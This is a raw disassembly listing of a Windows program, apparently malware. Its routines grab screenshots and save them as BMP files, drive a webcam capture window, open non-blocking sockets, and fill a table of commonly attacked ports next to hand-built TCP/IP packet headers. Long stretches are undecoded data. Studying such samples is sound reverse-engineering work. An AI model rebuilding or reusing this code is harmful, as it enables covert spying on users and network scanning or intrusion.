858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h dd 6F98E8F0h, 5959FFFFh, 0C5DFE856h, 5590022Ch, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270A8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 0B6A415FFh, 4589004Ch, 50D6FFF8h dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0EAE89000h, 2B0227C0h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h dd 4CEDD81Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h dd 707Ch, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4CB5C8h, 0FF68h, 0E8016A00h, 4150h, 0F505959h, 509E45B6h dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42DC3468h dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh, 0B868FFFFh dd 50004CE7h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh dd 4CB664h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h dd 15FFA845h, 4CB624h, 0AE458966h, 7345E8h, 45896600h dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h, 66000073h dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h dd 7301E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h, 60858DFFh dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah dd 8D535088h, 5056A845h, 0FFF875FFh, 4CB68815h, 0FC45FF00h dd 0FFFE20E9h, 0F875FFFFh, 0B6BC15FFh, 458B004Ch, 5B5E5FFCh ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_4146CE dw 8B55h ; DATA XREF: sub_401ACD+4CBFo dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h dd 214h, 0EC858D50h, 68FFFFFBh, 4365A4h, 7160E850h, 858D0000h dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h, 0C483FFFFh dd 90006A14h, 2CC31CE8h, 0EC8B5502h, 254EC81h, 56530000h dd 0FFBBh, 6A535700h, 0FF026A03h, 4CB6A415h, 0FFF88300h dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 436794h, 710CE850h dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h dd 0C7505702h, 1EC45h, 15FF0000h, 4CB604h, 75FFF883h, 0B815FF0Eh dd 50004CB5h, 43674468h, 8D1BEB00h, 0FF500C45h, 4CB66415h dd 0FFF88300h, 15FF2075h, 4CB5B8h, 67006850h, 858D0043h dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch, 66570000h dd 2DC45C7h, 2415FF00h, 66004CB6h, 8DDE4589h, 0E8500C45h dd 7169CB00h, 0A8358B90h, 89004270h, 0D6FFE045h, 8DF84589h dd 8D500C45h, 0FFFDAC85h, 66D468FFh, 0E8500043h, 706Ah dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h dd 41Ch, 0FFBB05EBh, 39000000h, 4CEDD83Dh, 6A527500h, 45895810h dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h dd 0FF50CC45h, 15FF0875h, 4CB5C8h, 0E8016A53h, 3DD4h, 0F505959h dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0DC3468ACh dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE7B868h dd 0CDE85000h, 59000075h, 5C65659h, 4CE9B8h, 2415FF45h dd 66004CB6h, 4CE9BAA3h, 0AC458D00h, 5C76650h, 4CE9BCh dd 89660001h, 4CE9BE3Dh, 0C005C600h, 80004CE9h, 0E9C105C6h dd 6611004Ch, 0E9C23D89h, 15FF004Ch, 4CB664h, 4CE9C4A3h dd 0E0458B00h, 4CE9C8A3h, 8C858D00h, 50000000h, 0D23D8966h dd 0E8004CE9h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6E10E8h, 0FF505900h dd 4CB62415h, 0CEA36600h, 0E8004CE9h, 6F66h, 401B999h dd 8680000h, 0F7000004h, 158966F9h, 4CE9CCh, 0B62415FFh dd 68004Ch, 66000004h, 4CE9D0A3h, 6F3CE800h, 0F7990000h dd 0D46852FBh, 0E8004CE9h, 6BDCh, 8D0CC483h, 106ADC45h dd 68565750h, 4CE9B8h, 0FFF475FFh, 4CB68815h, 0FFF88300h dd 0A5840Fh, 45FF0000h, 0BBEFE8FCh, 2B900227h, 0D233F845h dd 3E8B9h, 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h dd 0FE74860Fh, 75FFFFFFh, 0BC15FFF4h, 8B004CB6h, 858DFC75h dd 10Ch, 1CF66950h, 0E8000004h, 6D59h, 8BD23359h, 0C1C68BC8h dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 43667068h dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh dd 0FF56FC75h, 4CB5B815h, 458D5000h, 0E468500Ch, 0EB004365h db 0ACh byte_414A91 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6361o dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh dd 4CB66415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h dd 67C068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h, 0FFFFFBECh dd 67AE850h, 75FF0000h, 68D8E8F0h, 5959FFFFh, 1EE89056h dd 5F022CBFh ; --------------------------------------------------------------------------- pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_414B6E push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 71AB3E5Dh jmp loc_414C2A ; --------------------------------------------------------------------------- loc_414B6E: ; CODE XREF: ___:00414B58j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi nop call near ptr 71AB155Ah push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CB5CC push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CB60C test eax, eax jnz short loc_414BD2 or eax, 0FFFFFFFFh jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BD2: ; CODE XREF: ___:00414BCBj or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_414BDD loc_414BD9: ; CODE XREF: ___:00414BFDj ; ___:00414C21j mov eax, edi jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BDD: ; CODE XREF: ___:00414BD7j lea eax, [ebp-10Ch] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_414BFF lea eax, [ebp-210h] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jz short loc_414BD9 loc_414BFF: ; CODE XREF: ___:00414BECj lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi call near ptr 71AB4122h nop cmp eax, edi jz short loc_414BD9 mov eax, [ebp-4] neg eax sbb eax, eax loc_414C2A: ; CODE XREF: ___:00414B69j ; ___:00414BD0j ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dw 8B55h dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh, 6AEC4D8Dh dd 26A5104h, 48A35053h, 0FF004CEEh, 4CB60415h, 0A8358B00h dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h, 0FF00BD8Dh dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 2415FF50h dd 53004CB6h, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CB6A415h dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B6BC15FFh, 5D39004Ch dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h dd 7C70FC7Dh, 0EE4CBF83h, 0F068004Ch, 570042D0h, 6A85E8h dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h dd 1574C33Bh, 0EC685750h, 57004367h, 0E8F04589h, 6A46h dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h dd 4CB62415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h dd 0A87C1CFCh, 6853286Ah, 4CEDE8h, 6717E8h, 0FFFFBE00h dd 5C60000h, 4CEDE8h, 685645h, 0C6000004h, 4CEDF105h, 5C60600h dd 4CEDE9h, 37E6E808h, 0C4830000h, 15FF5014h, 4CB624h dd 0A366286Ah, 4CEDECh, 0B62415FFh, 0D80004Ch, 4CEDF0h dd 0D81D39FFh, 66004CEDh, 4CEDEAA3h, 1D896600h, 4CEDEEh dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h, 0C1084D8Bh dd 0CE2310E0h, 0BEBC10Bh, 4CE7B868h, 6415FF00h, 0A3004CB6h dd 4CEDF4h, 6808458Bh, 4000h, 4CEDF8A3h, 91D8800h, 0FF004CEEh dd 4CB62415h, 66535600h, 4CEE0AA3h, 3762E800h, 0F88B0000h dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0B62015FFh dd 0A3004Ch, 0A0004CEEh, 4CEE08h, 24087D8Bh, 6A500C0Fh dd 0EE08A214h, 8B66004Ch, 1D89F045h, 4CEE04h, 0E1D8966h dd 66004CEEh, 4CEDFEA3h, 243D8900h, 88004CEEh, 4CEE281Dh dd 2905C600h, 6004CEEh, 0B62415FFh, 0A366004Ch, 4CEE2Ah dd 0EDFEA166h, 0C766004Ch, 4CEE1005h, 89000200h, 4CEE143Dh dd 12A36600h, 89004CEEh, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h dd 53562F75h, 36CBE8h, 50595900h, 0B62415FFh, 0A366004Ch dd 4CEDFCh, 4CEDF4A1h, 0EE20A300h, 5C6004Ch, 4CEE09h, 41D8902h dd 0EB004CEEh, 0C653561Fh, 4CEE0905h, 95E81000h, 59000036h dd 15FF5059h, 4CB624h, 0A3C0B70Fh, 4CEE04h, 0EC05FF66h dd 0FF004CEDh, 4CEE0005h, 0FEA16600h, 6A004CEDh, 0FCBE5905h dd 0BF004CEDh, 4CEE2Ch, 0F21D8966h, 66004CEDh, 0EE0C1D89h dd 146A004Ch, 0E8BEA5F3h, 66004CEDh, 4CEE12A3h, 25E85600h dd 6AFFFF5Ch, 0EE206820h, 0A366004Ch, 4CEDF2h, 0FF5C13E8h dd 10C483FFh, 0EE0CA366h, 106A004Ch, 4CEE1068h, 286A5300h dd 4835FF56h, 0FF004CEEh, 4CB68815h, 0FC45FF00h, 0FFFC7D81h dd 0F000003h, 0FFFF238Ch, 42E890FFh, 2B0227B5h, 0D233F445h dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 26AF5BE8h dd 0FDC2E902h, 5E5FFFFFh, 4CEE4CB8h, 0C3C95B00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150B4 proc near ; CODE XREF: sub_401ACD+71FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43D7E0 mov edi, 0B8h loc_4150C8: ; CODE XREF: sub_4150B4+33j cmp byte ptr [esi], 0 jz short loc_4150EB push [ebp+arg_0] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4150EB inc [ebp+var_4] add esi, edi cmp esi, offset dword_43E360 jl short loc_4150C8 jmp short loc_41512D ; --------------------------------------------------------------------------- loc_4150EB: ; CODE XREF: sub_4150B4+17j ; sub_4150B4+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43D7E0[esi] push ebx call sub_41B590 push 17h push [ebp+arg_0] push ebx call sub_41B5F0 push 9Fh lea eax, dword_43D7F8[esi] push [ebp+arg_4] push eax call sub_41B5F0 add esp, 24h inc dword_429498 pop ebx loc_41512D: ; CODE XREF: sub_4150B4+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4150B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415134 proc near ; CODE XREF: sub_401ACD+28DDp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_436808 push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h xor edi, edi mov esi, offset dword_43D7E0 loc_41515E: ; CODE XREF: sub_415134+72j cmp byte ptr [esi], 0 jz short loc_415199 lea eax, [esi+18h] push eax push esi push edi push offset dword_4367F4 lea eax, [ebp+var_200] push 200h push eax call sub_41B980 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch loc_415199: ; CODE XREF: sub_415134+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43E360 jl short loc_41515E pop edi pop esi leave retn sub_415134 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151AC proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 2790000h mov ebx, offset dword_4D324C mov edi, 80h mov esi, offset dword_4CF24C loc_4151CE: ; CODE XREF: sub_4151AC+3Dj cmp byte ptr [ebx], 0 jz short loc_4151E5 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41B5F0 add esp, 0Ch loc_4151E5: ; CODE XREF: sub_4151AC+25j sub ebx, edi cmp ebx, esi jge short loc_4151CE movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41B980 add esp, 28h pop edi pop esi pop ebx leave retn sub_4151AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415220 proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_402077p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C190 lea eax, [ebp+var_80] push eax call sub_4151AC add esp, 14h leave retn sub_415220 endp ; =============== S U B R O U T I N E ======================================= sub_41524C proc near ; CODE XREF: sub_401ACD+27D4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CF24C xor ecx, ecx loc_415253: ; CODE XREF: sub_41524C+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D324C jl short loc_415253 cmp [esp+arg_C], ecx jnz short loc_415281 push ecx push [esp+4+arg_8] push offset dword_436854 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409A72 add esp, 14h loc_415281: ; CODE XREF: sub_41524C+19j push offset dword_436840 call sub_4151AC pop ecx retn sub_41524C endp ; --------------------------------------------------------------------------- byte_41528D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2887o ; --------------------------------------------------------------------------- sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_4152E0 push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_436884 push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_4152E0: ; CODE XREF: ___:004152C0j cmp byte ptr [ebp-98h], 0 jz short loc_415300 lea eax, [ebp-98h] push eax call sub_41B779 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415300 mov [ebp-8], eax loc_415300: ; CODE XREF: ___:004152E7j ; ___:004152FBj and dword ptr [ebp+8], 0 mov esi, offset dword_4CF24C loc_415309: ; CODE XREF: ___:00415361j mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415363 cmp byte ptr [esi], 0 jz short loc_415352 cmp byte ptr [ebp-98h], 0 jz short loc_415338 cmp dword ptr [ebp-4], 0 jnz short loc_415338 lea eax, [ebp-98h] push eax push esi call sub_418086 pop ecx test eax, eax pop ecx jz short loc_415352 loc_415338: ; CODE XREF: ___:0041531Dj ; ___:00415323j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_415352: ; CODE XREF: ___:00415314j ; ___:00415336j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D324C jl short loc_415309 loc_415363: ; CODE XREF: ___:0041530Fj lea eax, [ebp-31Ch] push offset dword_436868 push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_41539D push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_41539D: ; CODE XREF: ___:0041537Bj lea eax, [ebp-31Ch] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 pop ecx pop ecx push esi ; --------------------------------------------------------------------------- dd 2CB6A8E8h, 5E5F9002h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153BC proc near ; CODE XREF: sub_401ACD+734Fp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4CB610 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4155F0 push 8 push edi call dword_4CB62C push 0Ah push edi mov [ebp+var_8], eax call dword_4CB62C push 0Ch push edi mov [ebp+var_C], eax call dword_4CB62C cmp eax, 8 mov [ebp+var_10], eax ja short loc_41541E push 18h push edi call dword_4CB62C mov ebx, 100h jmp short loc_415420 ; --------------------------------------------------------------------------- loc_41541E: ; CODE XREF: sub_4153BC+50j xor ebx, ebx loc_415420: ; CODE XREF: sub_4153BC+60j push edi call dword_4CB670 cmp eax, esi mov [ebp+var_4], eax jz loc_4155D5 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4CB668 cmp eax, esi mov [ebp+var_1C], eax jz loc_4155E0 push eax push [ebp+var_4] call dword_4CB4F4 cmp eax, esi jz loc_4155E0 cmp eax, 0FFFFFFFFh jz loc_4155E0 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4CB66C test eax, eax jz loc_4155E0 cmp ebx, esi jz short loc_4154DD lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4CB548 mov ebx, eax loc_4154DD: ; CODE XREF: sub_4153BC+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi call near ptr 271091Eh nop cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4155C0 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax call near ptr 2700000h nop lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] call near ptr 2700000h nop cmp ebx, esi jz short loc_4155A2 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] nop call near ptr 2700000h loc_4155A2: ; CODE XREF: sub_4153BC+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] nop call near ptr 2700000h push [ebp+arg_0] nop call near ptr 2660843h push 1 pop esi loc_4155C0: ; CODE XREF: sub_4153BC+1A2j push [ebp+var_1C] call dword_4CB580 push [ebp+var_4] call dword_4CB4E0 mov edi, [ebp+var_20] loc_4155D5: ; CODE XREF: sub_4153BC+70j push edi call dword_4CB4E0 mov eax, esi jmp short loc_4155F2 ; --------------------------------------------------------------------------- loc_4155E0: ; CODE XREF: sub_4153BC+C7j ; sub_4153BC+D9j ... push edi call dword_4CB4E0 push [ebp+var_4] call dword_4CB4E0 loc_4155F0: ; CODE XREF: sub_4153BC+23j xor eax, eax loc_4155F2: ; CODE XREF: sub_4153BC+222j pop edi pop esi pop ebx leave retn sub_4153BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155F7 proc near ; CODE XREF: sub_401ACD+7476p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D3250 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CB574 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415635 mov eax, esi jmp loc_4157EB ; --------------------------------------------------------------------------- loc_415635: ; CODE XREF: sub_4155F7+35j push edi call dword_4CB5C4 test eax, eax jz short loc_415652 push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CB680 jmp short loc_415654 ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_4155F7+47j xor eax, eax loc_415654: ; CODE XREF: sub_4155F7+59j cmp eax, ebx jnz short loc_41565F loc_415658: ; CODE XREF: sub_4155F7+88j ; sub_4155F7+BCj mov ebx, esi jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_41565F: ; CODE XREF: sub_4155F7+5Fj push edi call dword_4CB5C4 test eax, eax jz short loc_41567C lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4CB680 loc_41567C: ; CODE XREF: sub_4155F7+71j cmp [ebp+var_20], ebx jz short loc_415658 push edi call dword_4CB5C4 test eax, eax mov edi, 42Ch jz short loc_4156A2 push ebx push ebx push edi push [ebp+var_4] call dword_4CB680 mov [ebp+arg_4], eax jmp short loc_4156A5 ; --------------------------------------------------------------------------- loc_4156A2: ; CODE XREF: sub_4155F7+98j mov [ebp+arg_4], ebx loc_4156A5: ; CODE XREF: sub_4155F7+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_415658 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4156CC push 1 pop ebx jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_4156CC: ; CODE XREF: sub_4155F7+CBj push [ebp+var_4] call dword_4CB5C4 test eax, eax jz short loc_4156E9 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB680 loc_4156E9: ; CODE XREF: sub_4155F7+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_41C310 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_415704 mov ecx, 280h loc_415704: ; CODE XREF: sub_4155F7+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_415710 mov eax, 1E0h loc_415710: ; CODE XREF: sub_4155F7+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CB5C4 test eax, eax 